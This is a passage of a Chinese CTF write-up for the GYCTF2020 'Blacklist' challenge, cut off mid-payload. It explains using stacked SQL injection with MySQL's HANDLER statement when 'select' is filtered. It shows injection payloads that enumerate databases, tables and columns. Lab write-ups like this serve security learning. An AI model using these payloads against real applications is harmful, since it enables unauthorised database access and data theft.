在堆叠式注入中,我们可能会通过改表名来达到查询的目的。但是,一旦我们的关键字被过滤掉,堆叠注入也就不那么容易了。在MySQL中,有一种handler的查询方式,可以代替select语句(虽然并没有select强大,也并没有写到sql标准中),按照表中一行一行进行查询。
1. [GYCTF2020]Blacklist 1
输入1 ,发现过滤掉了许多关键词:
其中select被过滤掉了,我们无法通过常规的注入来达到目的。想到堆叠注入
构造payload:
-1';show databases;#
-1';show tables;#
-1';show columns from FlagHere;
接下来用handler来查询表
-1';h